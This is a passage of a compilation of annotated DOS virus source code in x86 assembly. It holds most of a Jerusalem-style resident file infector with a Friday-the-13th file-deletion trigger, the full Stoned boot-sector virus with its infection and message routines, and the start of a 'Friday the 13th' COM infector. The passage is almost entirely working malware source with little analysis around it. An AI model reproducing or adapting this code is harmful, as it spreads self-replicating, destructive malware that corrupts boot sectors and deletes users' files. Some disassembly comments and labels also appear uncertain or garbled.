A0030 DB 000H
A0031 DW 0178EH ;OLD ES VALUE
A0033 DW 0080H ;
;
EXEC_BLOCK DW 0 ;ENV. SEG. ADDRESS ;0035
DW 80H ;COMMAND LINE ADDRESS
DW 178EH ;+4
DW 005CH ;FCB #1 ADDRESS
DW 178EH ;+8
DW 006CH ;FCB #2 ADDRESS
DW 0178EH ;+12
;
HOST_SP DW 0710H ;(TAKEN FROM EXE HEADER) 0043
HOST_SS DW 347AH ;(AT TIME OF INFECTION)
HOST_IP DW 00C5H ;
HOST_CS DW 347AH ;
;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
;
A004B DW 0F010H ;
A004D DB 82H ;
A004E DB 0 ;
EXE_HDR DB 1CH DUP (?) ;004F
A006B DB 5 DUP (?) ;LAST 5 BYTES OF HOST
HANDLE DW 0005H ;0070
HOST_ATT DW 0020H ;0072
HOST_DATE DW 0021H ;0074
HOST_TIME DW 002DH ;0076
BLOCK_SIZE DW 512 ;512 BYTES/BLOCK
A007A DW 0010H
HOST_SIZE DW 27C0H,0001H ;007C
HOST_NAME DW 41D9H,9B28H ;POINTER TO HOST NAME
COMMAND_COM DB 'COMMAND.COM'
DB 1
A0090 DB 0,0,0,0,0
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
CONTINUE: ;
CLD ;
MOV AH,0E0H ;DO A ???...
INT 21H ;
;
CMP AH,0E0H ;
JNC L01B5 ;
CMP AH,3 ;
JC L01B5 ;
;
MOV AH,0DDH ;
MOV DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE
MOV SI,0710H ;SI = SIZE OF OUR (VIRUS) CODE
ADD SI,DI ;SI = BEGINNING OF HOST CODE
MOV CX,CS:[DI+11H] ;CX = (SIZE OF HOST CODE?)
INT 21H ;
;
L01B5: MOV AX,CS ;TWEEK CODE SEGMENT BY 100H
ADD AX,10H ;
MOV SS,AX ;SS = TWEEKed CS
MOV SP,700H ;SP = END OF OUR CODE (VIRUS)
;
;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
;
PUSH AX ;JMP FAR CS+10H:IP-100H
MOV AX,offset BEGIN_EXE - offset BEGIN_COM
PUSH AX ;
RETF ;
;
;---------------------------------------;
ORG 0C5h ;
;---------------------------------------;
;
BEGIN_EXE: ;EXE FILES START HERE
CLD ;
PUSH ES ;
;
MOV CS:[A0031],ES ;
MOV CS:[EXEC_BLOCK+4],ES ;INIT EXEC_BLOCK SEG VALUES
MOV CS:[EXEC_BLOCK+8],ES ;
MOV CS:[EXEC_BLOCK+12],ES ;
;
MOV AX,ES ;TWEEK ES SAME AS CS ABOVE
ADD AX,10H ;
ADD CS:[HOST_CS],AX ; SAVE NEW ES VALUE
ADD CS:[HOST_SS],AX ;
;
MOV AH,0E0H ;
INT 21H ;
;
CMP AH,0E0H ;
JNC L0106 ;00F1 7313
;
CMP AH,3 ;
POP ES ;00F6
MOV SS,CS:[HOST_SS] ;
MOV SP,CS:[HOST_SP] ;
JMP far CS:[HSOT_IP] ;
;
L0106: XOR AX,AX ;0106 33C0
MOV ES,AX ;0108 8EC0
MOV AX,ES:[03FC] ;010A 26A1FC03
MOV CS:[A004B],AX ;010E 2EA34B00
MOV AL,ES:[03FE] ;0112 26A0FE03
MOV CS:[A004D],AL ;0116 2EA24D00
MOV Word ptr ES:[03FC],A5F3 ;011A 26C706FC03F3A5
MOV Byte ptr ES:[03FE],CB ;0121 26C606FE03CB
POP AX ;0127 58
ADD AX,10H ;0128 051000
MOV ES,AX ;012B 8EC0
PUSH CS ;012D 0E
POP DS ;012E 1F
MOV CX,710H ;SIZE OF VIRUS CODE
SHR CX,1 ;0132 D1E9
XOR SI,SI ;0134 33F6
MOV DI,SI ;0136 8BFE
PUSH ES ;0138 06
MOV AX,0142 ;0139 B84201
PUSH AX ;013C 50
JMP 0000:03FC ;013D EAFC030000
;
MOV AX,CS ;0142 8CC8
MOV SS,AX ;0144 8ED0
MOV SP,700H ;0146 BC0007
XOR AX,AX ;0149 33C0
MOV DS,AX ;014B 8ED8
MOV AX,CS:[A004B] ;014D 2EA14B00
MOV [03FC],AX ;0151 A3FC03
MOV AL,CS:[A004D] ;0154 2EA04D00
MOV [03FE],AL ;0158 A2FE03
MOV BX,SP ;015B 8BDC
MOV CL,04 ;015D B104
SHR BX,CL ;015F D3EB
ADD BX,+10 ;0161 83C310
MOV CS:[A0033],BX ;
;
MOV AH,4AH ;
MOV ES,CS:[A0031] ;
INT 21H ;MODIFY ALLOCATED MEMORY BLOCKS
;
MOV AX,3521 ;
INT 21H ;GET VECTOR
MOV CS:[OLD_21],BX ;
MOV CS:[OLD_21+2],ES ;
;
PUSH CS ;0181 0E
POP DS ;0182 1F
MOV DX,offset NEW_INT_21 ;0183 BA5B02
MOV AX,2521 ;
INT 21H ;SAVE VECTOR
;
MOV ES,[A0031] ;018B 8E063100
MOV ES,ES:[A002C] ;018F 268E062C00
XOR DI,DI ;0194 33FF
MOV CX,7FFFH ;0196 B9FF7F
XOR AL,AL ;0199 32C0
REPNE SCASB ;019C AE
CMP ES:[DI],AL ;019D 263805
LOOPNZ 019B ;01A0 E0F9
MOV DX,DI ;01A2 8BD7
ADD DX,+03 ;01A4 83C203
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
PUSH ES ;
POP DS ;
PUSH CS ;
POP ES ;
MOV BX,35H ;
;
PUSH DS ;01B1 ;
PUSH ES ;
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
;
MOV AH,2AH ;
INT 21H ;GET DATE
;
MOV Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
;
CMP CX,1987 ;IF 1987...
JE L01F7 ;...JUMP
CMP AL,5 ;IF NOT FRIDAY...
JNE L01D8 ;...JUMP
CMP DL,0DH ;IF DATE IS NOT THE 13th...
JNE L01D8 ;...JUMP
INC Byte ptr CS:[TIME_BOMB] ;TIC THE BOMB COUNT
JMP L01F7 ;
;
L01D8: MOV AX,3508H ;GET CLOCK TIMER VECTOR
INT 21H ;GET VECTOR
MOV CS:[OLD_08],BX ;
MOV CS:[OLD_08],ES ;
;
PUSH CS ;DS=CS
POP DS ;
;
MOV Word ptr [A_FLAG],7E90H ;
;
MOV AX,2508H ;SET NEW CLOCK TIC HANDLER
MOV DX,offset NEW_08 ;
INT 21H ;SET VECTOR
;
L01F7: POP DX ;
POP CX ;
POP BX ;
POP AX ;
POP ES ;
POP DS ;
PUSHF ;
CALL far CS:[OLD_21] ;
PUSH DS ;
POP ES ;
;
MOV AH,49H ;
INT 21H ;FREE ALLOCATED MEMORY
;
MOV AH,4DH ;
INT 21H ;GET RETURN CODE OF A SUBPROCESS
;
;---------------------------------------;
; THIS IS WHERE WE REMAIN RESIDENT ;
;---------------------------------------;
MOV AH,31H ;
MOV DX,0600H ;020F ;
MOV CL,04 ;
SHR DX,CL ;
ADD DX,10H ;
INT 21H ;TERMINATE AND REMAIN RESIDENT
;
;---------------------------------------;
NEW_24: XOR AL,AL ;021B ;CRITICAL ERROR HANDLER
IRET ;
;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 08 (CLOCK TIC) HANDLER ;
;-----------------------------------------------------------------------;
NEW_08: CMP Word ptr CS:[A_FLAG],2 ;021E
JNE N08_10 ;IF ... JUMP
;
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
PUSH BP ;
MOV AX,0602H ;SCROLL UP TWO LINES
MOV BH,87H ;INVERSE VIDEO ATTRIBUTE
MOV CX,0505H ;UPPER LEFT CORNER
MOV DX,1010H ;LOWER RIGHT CORNER
INT 10H ;
POP BP ;
POP DX ;
POP CX ;
POP BX ;
POP AX ;
;
N08_10: DEC Word ptr CS:[A_FLAG] ;
JMP N08_90 ;
MOV Word ptr CS:[A_FLAG],1 ;
;
PUSH AX ;
PUSH CX ;
PUSH SI ; THIS DELAY CODE NEVER GETS EXECUTED
MOV CX,4001H ; IN THIS VERSION
REP LODSB ;
POP SI ;
POP CX ;
POP AX ;
;
N08_90: JMP far CS:[OLD_08] ;PASS CONTROL TO OLD INT 08 VECTOR
;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 21 HANDLER ;
;-----------------------------------------------------------------------;
NEW_21: PUSHF ;025B ;
CMP AH,0E0H ;IF A E0 REQUEST...
JNE N21_10 ;
MOV AX,300H ;...RETURN AX = 300H
POPF ; (OUR PUSHF)
IRET ;
;
N21_10: CMP AH,0DDH ;0266 ;
JE N21_30 ;IF DDH...JUMP TO _30
CMP AH,0DEH ;
JE N21_40 ;IF DEH...JUMP TO _40
CMP AX,4B00H ;IF SPAWN A PROG...
JNE N21_20 ;
JMP N21_50 ;...JUMP TO _50
;
N21_20: POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;ANY OTHER INT 21 GOES TO OLD VECTOR
;
N21_30: POP AX ;REMOVE OUR (PUSHF)
POP AX ;?
MOV AX,100H ;
MOV CS:[000A],AX ;
POP AX ;
MOV CS:[000C],AX ;
REP MOVSB ;
POPF ; (OUR PUSHF)
MOV AX,CS:[000F] ;
JMP far CS:[000A] ;
;
N21_40: ADD SP,+06 ;0298 ;
POPF ; (OUR PUSHF)
MOV AX,CS ;
MOV SS,AX ;
MOV SP,710H ;SIZE OF VIRUS CODE
PUSH ES ;
PUSH ES ;02A4 06
XOR DI,DI ;02A5 33FF
PUSH CS ;02A7 0E
POP ES ;02A8 07
MOV CX,0010 ;02A9 B91000
MOV SI,BX ;02AC 8BF3
MOV DI,0021 ;02AE BF2100
REP MOVSB ;02B2 A4
MOV AX,DS ;02B3 8CD8
MOV ES,AX ;02B5 8EC0
MUL Word ptr CS:[A007A] ;02B7 2EF7267A00
ADD AX,CS:[002B] ;02BC 2E03062B00
ADC DX,+00 ;02C1 83D200
DIV Word ptr CS:[A007A] ;02C4 2EF7367A00
MOV DS,AX ;02C9 8ED8
MOV SI,DX ;02CB 8BF2
MOV DI,DX ;02CD 8BFA
MOV BP,ES ;02CF 8CC5
MOV BX,CS:[002F] ;02D1 2E8B1E2F00
OR BX,BX ;02D6 0BDB
JE 02ED ;02D8 7413
MOV CX,8000 ;02DA B90080
REP MOVSW ;02DE A5
ADD AX,1000 ;02DF 050010
ADD BP,1000 ;02E2 81C50010
MOV DS,AX ;02E6 8ED8
MOV ES,BP ;02E8 8EC5
DEC BX ;02EA 4B
JNE 02DA ;02EB 75ED
MOV CX,CS:[002D] ;02ED 2E8B0E2D00
REP MOVSB ;02F3 A4
POP AX ;02F4 58
PUSH AX ;02F5 50
ADD AX,0010 ;02F6 051000
ADD CS:[0029],AX ;02F9 2E01062900
ADD CS:[0025],AX ;02FE 2E01062500
MOV AX,CS:[0021] ;0303 2EA12100
POP DS ;0307 1F
POP ES ;0308 07
MOV SS,CS:[0029] ;0309 2E8E162900
MOV SP,CS:[0027] ;030E 2E8B262700
JMP far CS:[0023] ;0313 2EFF2E2300
;
;---------------------------------------;
; IT IS TIME FOR THIS FILE TO DIE... ;
; THIS IS WHERE IT GETS DELETED ! ;
;---------------------------------------;
N21_5A: XOR CX,CX ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE (ATT=0)
;
MOV AH,41H ;
INT 21H ;DELETE A FILE
;
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;
;
;---------------------------------------;
; START INFECTION ;
;---------------------------------------;
N21_50: CMP Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
JE N21_5A ;...JUMP
;
MOV Word ptr CS:[HANDLE],-1 ;ASSUME NOT OPEN
MOV Word ptr CS:[A008F],0 ;
MOV word ptr CS:[HOST_NAME],DX ;SAVE POINTER TO FILE NAME
MOV word ptr CS:[HOST_NAME+2],DS ;
;
;INFECTION PROCESS OCCURS HERE ;
PUSH AX ;034C 50
PUSH BX ;034D 53
PUSH CX ;034E 51
PUSH DX ;034F 52
PUSH SI ;0350 56
PUSH DI ;0351 57
PUSH DS ;0352 1E
PUSH ES ;0353 06
CLD ;0354 FC
MOV DI,DX ;0355 8BFA
XOR DL,DL ;0357 32D2
CMP Byte ptr [DI+01],3A ;0359 807D013A
JNE L0364 ;035D 7505
MOV DL,[DI] ;035F 8A15
AND DL,1F ;0361 80E21F
;
L0364: MOV AH,36 ;
INT 21H ;GET DISK FREE SPACE
CMP AX,-1 ;0368 3DFFFF
JNE L0370 ;036B 7503
L036D: JMP I_90 ;036D E97702
;
L0370: MUL BX ;0370 F7E3
MUL CX ;0372 F7E1
OR DX,DX ;0374 0BD2
JNE L037D ;0376 7505
CMP AX,710H ;0378 3D1007
JC L036D ;037B 72F0
L037D: MOV DX,word ptr CS:[HOST_NAME]
PUSH DS ;0382 1E
POP ES ;0383 07
XOR AL,AL ;0384 32C0
MOV CX,41 ;0386 B94100
REPNE SCASB ;038A AE
MOV SI,word ptr CS:[HOST_NAME]
L0390: MOV AL,[SI] ;0390 8A04
OR AL,AL ;0392 0AC0
JE L03A4 ;0394 740E
CMP AL,61 ;0396 3C61
JC L03A1 ;0398 7207
CMP AL,7A ;039A 3C7A
JA L03A1 ;039C 7703
SUB Byte ptr [SI],20 ;039E 802C20
L03A1: INC SI ;03A1 46
JMP L0390 ;03A2 EBEC
;
L03A4: MOV CX,000B ;03A4 B90B00
SUB SI,CX ;03A7 2BF1
MOV DI,offset COMMAND_COM ;03A9 BF8400
PUSH CS ;03AC 0E
POP ES ;03AD 07
MOV CX,000B ;03AE B90B00
REPE CMPSB ;03B2 A6
JNE L03B8 ;03B3 7503
JMP I_90 ;03B5 E92F02
;
L03B8: MOV AX,4300H ;
INT 21H ;CHANGE FILE MODE
JC L03C4 ;03BD 7205
;
MOV CS:[HOST_ATT],CX ;03BF ;
L03C4: JC L03EB ;03C4 7225
XOR AL,AL ;03C6 32C0
MOV CS:[A004E],AL ;03C8 2EA24E00
PUSH DS ;03CC 1E
POP ES ;03CD 07
MOV DI,DX ;03CE 8BFA
MOV CX,41 ;03D0 B94100
REPNZ SCASB ;03D4 AE
CMP Byte ptr [DI-02],4D ;03D5 807DFE4D
JE L03E6 ;03D9 740B
CMP Byte ptr [DI-02],6D ;03DB 807DFE6D
JE L03E6 ;03DF 7405
INC Byte ptr CS:[A004E] ;03E1 2EFE064E00
;
L03E6: MOV AX,3D00H ;
INT 21H ;OPEN FILE READ ONLY
L03EB: JC L0447 ;
MOV CS:[HANDLE],AX ;03ED ;
;
MOV BX,AX ;MOVE TO END OF FILE -5
MOV AX,4202 ;
MOV CX,-1 ;FFFFFFFB
MOV DX,-5 ;
INT 21H ;MOVE FILE POINTER
JC L03EB ;
;
ADD AX,5 ;0400 ;
MOV CS:[A0011],AX ;?SAVE HOST SIZE
;
MOV CX,5 ;0407 ;READ LAST 5 BYTES OF HOST
MOV DX,offset A006B ;
MOV AX,CS ;
MOV DS,AX ;
MOV ES,AX ;
MOV AH,3FH ;
INT 21H ;READ FROM A FILE
;
MOV DI,DX ;0417 ;CHECK IF LAST 5 BYTES = 'MsDos'
MOV SI,offset MS_DOS ;
REPE CMPSB ;
JNE L0427 ;
MOV AH,3E ;IF == 'MsDos'...
INT 21H ;CLOSE FILE
JMP I_90 ;...PASS CONTROL TO DOS
;
L0427: MOV AX,3524 ;GET CRITICAL ERROR VECTOR
INT 21H ;GET VECTOR
MOV [OLD_24],BX ;
MOV [OLD_24+2],ES ;
;
MOV DX,offset NEW_24 ;
MOV AX,2524 ;SET CRITICAL ERROR VECTOR
INT 21H ;SET VECTOR
;
LDS DX,dword ptr [HOST_NAME];
XOR CX,CX ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE
L0447: JC L0484 ;
;
MOV BX,CS:[HANDLE] ;
MOV AH,3E ;
INT 21H ;CLOSE FILE
;
MOV Word ptr CS:[HANDLE],-1 ;CLEAR HANDLE
;
MOV AX,3D02 ;
INT 21H ;OPEN FILE R/W
JC L0484 ;
;
MOV CS:[HANDLE],AX ;0460 2EA37000
MOV AX,CS ;0464 8CC8
MOV DS,AX ;0466 8ED8
MOV ES,AX ;0468 8EC0
MOV BX,[HANDLE] ;046A 8B1E7000
MOV AX,5700 ;046E B80057
INT 21H ;GET/SET FILE DATE TIME
;
MOV [HOST_DATE],DX ;0473 89167400
MOV [HOST_TIME],CX ;0477 890E7600
MOV AX,4200 ;047B B80042
XOR CX,CX ;047E 33C9
MOV DX,CX ;0480 8BD1
INT 21H ;MOVE FILE POINTER
L0484: JC L04C3 ;0484 723D
;
CMP Byte ptr [A004E],00 ;0486 803E4E0000
JE L0490 ;048B 7403
JMP L04E6 ;048D EB57
;
NOP ;048F 90
L0490: MOV BX,1000 ;0490 BB0010
MOV AH,48 ;0493 B448
INT 21H ;ALLOCATE MEMORY
JNC L04A4 ;0497 730B
;
MOV AH,3E ;0499 B43E
MOV BX,[HANDLE] ;049B 8B1E7000
INT 21H ;CLOSE FILE (OBVIOUSLY)
JMP I_90 ;04A1 E94301
;
L04A4: INC Word ptr [A008F] ;04A4 FF068F00
MOV ES,AX ;04A8 8EC0
XOR SI,SI ;04AA 33F6
MOV DI,SI ;04AC 8BFE
MOV CX,710H ;04AE B91007
REP MOVSB ;04B2 A4
MOV DX,DI ;04B3 8BD7
MOV CX,[A0011] ;?GET HOST SIZE - YES
MOV BX,[70H] ;04B9 8B1E7000
PUSH ES ;04BD 06
POP DS ;04BE 1F
MOV AH,3FH ;04BF B43F
INT 21H ;READ FROM A FILE
L04C3: JC L04E1 ;04C3 721C
;
ADD DI,CX ;04C5 03F9
;
XOR CX,CX ;POINT TO BEGINNING OF FILE
MOV DX,CX ;
MOV AX,4200H ;
INT 21H ;MOVE FILE POINTER
;
MOV SI,offset MS_DOS ;04D0 BE0500
MOV CX,5 ;04D3 B90500
REP CS:MOVSB ;04D7 2EA4
MOV CX,DI ;04D9 8BCF
XOR DX,DX ;04DB 33D2
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
L04E1: JC L04F0 ;
JMP L05A2 ;
;
;---------------------------------------;
; READ EXE HEADER ;
;---------------------------------------;
L04E6: MOV CX,1CH ;READ EXE HEADER INTO BUFFER
MOV DX,offset EXE_HDR ;
MOV AH,3F ;
INT 21H ;READ FILE
JC L053C ;
;
;---------------------------------------;
; TWEEK EXE HEADER TO INFECTED HSOT ;
;---------------------------------------;
MOV Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO
MOV AX,[EXE_HDR+14] ; SS
MOV [HOST_SS],AX ;
MOV AX,[EXE_HDR+16] ; SP
MOV [HOST_SP],AX ;
MOV AX,[EXE_HDR+20] ; IP
MOV [HOST_IP],AX ;
MOV AX,[EXE_HDR+22] ; CS
MOV [HOST_CS],AX ;
MOV AX,[EXE_HDR+4] ; SIZE (IN 512 BLOCKS)
CMP Word ptr [EXE_HDR+2],0 ; SIZE MOD 512
JZ L051B ;IF FILE SIZE==0...JMP
DEC AX ;
L051B: MUL Word ptr [BLOCK_SIZE] ;
ADD AX,[EXE_HDR+2] ;
ADC DX,0 ;AX NOW = FILE SIZE
;
ADD AX,0FH ;MAKE SURE FILE SIZE IS PARA. BOUND
ADC DX,0 ;
AND AX,0FFF0H ;
MOV [HOST_SIZE],AX ;SAVE POINTER TO BEGINNING OF VIRUS
MOV [HOST_SIZE+2],DX ;
;
ADD AX,710H ;(SIZE OF VIRUS)
ADC DX,0 ;
L053C: JC L0578 ;IF > FFFFFFFF...JMP
DIV Word ptr [BLOCK_SIZE] ;
OR DX,DX ;
JE L0547 ;
INC AX ;
L0547: MOV [EXE_HDR+4],AX ;
MOV [EXE_HDR+2],DX ;
;---------------;
MOV AX,[HOST_SIZE] ;DX:AX = HOST SIZE
MOV DX,[HOST_SIZE+2] ;
DIV Word ptr [A007A] ;
SUB AX,[EXE_HEAD+8] ;SIZE OF EXE HDR
MOV [EXE_HDR+22],AX ;VALUE OF CS
MOV Word ptr [EXE_HDR+20],offset BEGIN_EXE ;VALUE OF IP
MOV [EXE_HDR+14],AX ;VALUE OF SS
MOV Word ptr [EXE_HDR+16],710H ;VALUE OF SP
;---------------;
XOR CX,CX ;POINT TO BEGINNING OF FILE (EXE HDR)
MOV DX,CX ;
MOV AX,4200H ;
INT 21H ;MOVE FILE POINTER
L0578: JC L0584 ;
;
;---------------------------------------;
; WRITE INFECTED EXE HEADER ;
;---------------------------------------;
MOV CX,1CH ;
MOV DX,offset EXE_HDR ;
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
L0584: JC L0597 ;
CMP AX,CX ;
JNE L05A2 ;
;
MOV DX,[HOST_SIZE] ;POINT TO END OF FILE
MOV CX,[HOST_SIZE+2] ;
MOV AX,4200 ;
INT 21H ;MOVE FILE POINTER
L0597: JC L05A2 ;
;
;---------------------------------------;
; WRITE VIRUS CODE TO END OF HOST ;
;---------------------------------------;
XOR DX,DX ;
MOV CX,710H ;(SIZE OF VIRUS)
MOV AH,40H ;
INT 21H ;WRITE TO A FILE
;
L05A2: CMP Word ptr CS:[008F],0 ;IF...
JZ L05AE ;...SKIP
MOV AH,49H ;
INT 21H ;FREE ALLOCATED MEMORY
;
L05AE: CMP Word ptr CS:[HANDLE],-1 ;IF ...
JE I_90 ;...SKIP
;
MOV BX,CS:[HANDLE] ;RESTORE HOST'S DATE/TIME
MOV DX,CS:[HOST_DATE] ;
MOV CX,CS:[HOST_TIME] ;
MOV AX,5701H ;
INT 21H ;GET/SET FILE DATE/TIME
;
MOV AH,3EH ;
INT 21H ;CLOSE FILE
;
LDS DX,CS:[HOST_NAME] ;RESTORE HOST'S ATTRIBUTE
MOV CX,CS:[HOST_ATT] ;
MOV AX,4301H ;
INT 21H ;CHANGE FILE MODE
;
LDS DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER
MOV AX,2524H ;
INT 21H ;SET VECTOR
;
I_90: POP ES ;
POP DS ;
POP DI ;
POP SI ;
POP DX ;
POP CX ;
POP BX ;
POP AX ;
POPF ; (OUR PUSHF)
JMP far CS:[OLD_21] ;PASS CONTROL TO DOS
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------
- ***********************************************************************
------------------------------------------------------------------------
------------------------------------------------------------------------
- ***********************************************************************
The "New Zealand Virus".
Also called - Stoned, Marijuana, San Diego Virus, Smithsonian Virus
CODE SEGMENT
ASSUME CS:CODE
WORK_SPACE EQU 512
MAXIMUM_SIZE EQU 1BEH
VIRUS PROC NEAR
DB 0EAH ;JMP 07C0:0005
DW 5,7C0H
JMP INSTALL
; DRIVE_LETTER INDICATES BOOT DISK, 0 = A:, 2 = C:
DRIVE_LETTER DB 0
OLD_13 LABEL DWORD
OFFS DW ?
SEGM DW ?
NEW_ADDRESS LABEL DWORD
DW CONTINUE
NEW_SEGMENT DW 0
REBOOT LABEL DWORD
DW 7C00H,0
NEW_13:
PUSH DS
PUSH AX
CMP AH,2
JC SPINNING
CMP AH,4
JNC SPINNING
OR DL,DL ; IS IT DRIVE A:?
JNZ SPINNING ; JUMP IF NOT
XOR AX,AX
MOV DS,AX
MOV AL,DS:43FH ; IS DRIVE MOTOR SPINNING?
TEST AL,1 ; IF YES THEN JUMP
JNZ SPINNING
; INT13 REQUEST IS FOR READ OR WRITE TO A: - MOTOR NOT YET STARTED.
CALL INFECT ; NOT SPINNING - INFECT
SPINNING:
POP AX
POP DS
JMP CS:[OLD_13]
INFECT:
PUSH BX ; SAVE REGISTERS
PUSH CX
PUSH DX
PUSH ES
PUSH SI
PUSH DI
MOV SI,4 ; MAKE FOUR ATTEMPTS
GET_BOOT_SECTOR:
MOV AX,201H ; READ SECTOR
PUSH CS
POP ES
MOV BX,OFFSET WORK_SPACE
XOR CX,CX ; TRACK 0, SECTOR 0
MOV DX,CX ; HEAD 0, DRIVE 0
INC CX
PUSHF
CALL CS:[OLD_13]
JNC BOOT_IS_DONE ; READ OK.
XOR AX,AX ; DRIVE RESET
PUSHF
CALL CS:[OLD_13]
DEC SI ; COUNT NUMBER OF TRIES
JNZ GET_BOOT_SECTOR ; LOOP
JMP FINISH
BOOT_IS_DONE:
XOR SI,SI ; CODE SEGMENT START
MOV DI,OFFSET WORK_SPACE ; POINTER TO BOOT SECTOR
CLD
PUSH CS
POP DS
LODSW
CMP AX,DS:[DI] ; OURS?
JNZ CREATE_BOOT ; NO, CREATE BOOT
LODSW ; RETRY
CMP AX,DS:[DI+2] ; OURS?
JZ FINISH ; NO, FINISH UP
CREATE_BOOT:
MOV AX,301H ; WRITE ORIGINAL BOOT SECTOR FROM BUFFER
MOV BX,OFFSET WORK_SPACE
MOV CL,3
MOV DH,1
PUSHF
CALL CS:[OLD_13] ; WRITE
JC FINISH
MOV AX,301H
XOR BX,BX
MOV CL,01
XOR DX,DX
PUSHF
CALL CS:[OLD_13]
FINISH:
POP DI ; RESTORE REGISTERS
POP SI
POP ES
POP DX
POP CX
POP BX
RET
INSTALL:
XOR AX,AX
MOV DS,AX
CLI
MOV SS,AX
MOV SP,7C00H
STI ; ENABLE INTERRUPTS
MOV AX,DS:4CH ; SAVE OLD 13H
MOV DS:[OFFS+7C00H],AX
MOV AX,DS:4EH
MOV DS:[SEGM+7C00H],AX
MOV AX,DS:413H ; MEMORY AVAILABLE
DEC AX
DEC AX
MOV DS:413H,AX
MOV CL,6
SHL AX,CL
MOV ES,AX ; ES: = FREE MEMORY ADDRESS
MOV DS:[NEW_SEGMENT+7C00H],AX ; PUT IT INTO NEW JUMP VECTOR
MOV AX,OFFSET NEW_13 ; INSTALL NEW VIRUS VECTOR
MOV DS:4CH,AX
MOV DS:4EH,ES
MOV CX,OFFSET ENDOFPROGMEM
PUSH CS
POP DS ; DS POINTS TO OUR CODE SEGMENT
XOR SI,SI ; SI POINTS TO 0
MOV DI,SI ; DI POINTS TO 0
CLD ; SET DIRECTION FLAG TO INCREMENT
REP MOVSB ; MOVE OURSELVES INTO HIGH MEMORY!
JMP NEW_ADDRESS ; THIS JUMP TRANSFERS TO CONTINUE BUT IN HIGH MEM
; THE FOLLOWING CODE IS EXECUTED AFTER BEING MOVED TO HIGH MEMORY
; EXECUTION IS VIA THE JUMP TO NEW_ADDRESS
CONTINUE:
MOV AX,0 ; RESET DISK SYSTEM
INT 13H ; THIS IS THE INFECTED INT 13H
XOR AX,AX ; READ REAL BOOT SECTOR
MOV ES,AX
MOV AX,201H
MOV BX,7C00H ; INTO THE BOOT AREA OF RAM
CMP DRIVE_LETTER,0
JZ BOOT_A
BOOT_C:
MOV CX,0002H ; FROM SECTOR 2 TRACK 0 HEAD 0 FOR FIRST HD
MOV DX,0080H
INT 13H
JMP QUITPROG
BOOT_A:
MOV CX,0003H ; FROM SECTOR 3 TRACK 0 HEAD 1 FOR DRIVE A:
MOV DX,0100H
INT 13H
JC QUITPROG ; FAILED READ!
TEST BYTE PTR ES:46CH,7 ; CHECK SYSTEM CLOCK LAST 3 BITS
JNZ NOMESSAGE
MOV SI,OFFSET MESSAGE ; DS IS POINTING TO 7C0:000 WHICH
PUSH CS
POP DS
MSGLOOP:
LODSB ; ALSO HAS THE TEXT
OR AL,AL
JZ NOMESSAGE
MOV AH,14
MOV BH,0
INT 10H
JMP MSGLOOP
NOMESSAGE:
PUSH CS
POP ES
MOV AX,201H
MOV BX,OFFSET WORK_SPACE ; READ BOOT SECTOR FROM HARD DISK
MOV CL,1
MOV DX,0080H
INT 13H
JC QUITPROG ; BAD READ - SO JUMP
PUSH CS
POP DS
MOV SI,OFFSET WORK_SPACE ; SOURCE IS THE BOOT SECTOR
MOV DI,0 ; DESTINATION IS OUR OWN CODE
LODSW ; MOV AX,DS:[SI]
; ADD SI,2
CMP AX,DS:[DI] ; VIRUS?
JNZ SAVEBOOT ; JUMP IF NOT
LODSW ; MOV AX,DS:[SI]
; ADD SI,2
CMP AX,DS:[DI+2] ; HAS IT GOT A VIRUS?
JNZ SAVEBOOT
QUITPROG:
MOV DRIVE_LETTER,0 ; YES - SO BOOT DRIVE 0 FOR A>
JMP REBOOT ; THIS JUMPS TO 0:7C00H TO CONTINUE BOOT CODE
SAVEBOOT:
MOV DRIVE_LETTER,2 ; DRIVE 2 FOR C>
MOV AX,301H ; GONNA WRITE
MOV BX,OFFSET WORK_SPACE ; OLD BOOT SECTOR
MOV CX,0007H ; TO SECTOR 7
MOV DX,0080H ; OF DRIVE C>
INT 13H
JC QUITPROG
PUSH CS
POP DS
PUSH CS
POP ES
MOV SI,OFFSET WORK_SPACE+MAXIMUM_SIZE
MOV DI,MAXIMUM_SIZE
MOV CX,400H-MAXIMUM_SIZE
REP MOVSB ; SI -> DI AND INC BOTH CX TIMES
MOV AX,301H ; GONNA WRITE BOOT SECTOR
XOR BX,BX ; FROM TOP OF OUR CODE
INC CL ; SECTOR 1
; MOV DX,0080H ;<-- DX IS LEFT OVER FROM ABOVE
INT 13H ; DO IT
JMP QUITPROG
MESSAGE:
DB 7,'Your PC is now Stoned!',7,13,10,10,0
DB 'LEGALISE MARIJUANA!' ; This bit doesn't display!
ENDOFPROGMEM:
VIRUS ENDP
CODE ENDS
END VIRUS
- ****************************************************************
-----------------------------------------------------------------
-----------------------------------------------------------------
- ****************************************************************
The original 'Friday the 13th"
Also called - Munich Virus, Miami Virus
;-----------------------------------------------------------------------;
; THE METHOD OF INFECTION: ;
; SAVE FIRST 3 BYTES OF HOST TO SAVE AREA INSIDE OF VIRIUL SHELL ;
; APPEND VIRIUL SHELL TO END OF .COM FILE (ON A PARAGRAPH BOUNDARY!) ;
;-----------------------------------------------------------------------;
; ATTENTION! ;
; RESULTING FILE APPARENTLY MUST BE < 64K ;
; REMEMBER THE STACK IS AT THE TOP OF THE 64K FILE! WHERE SHELL RESIDES ;
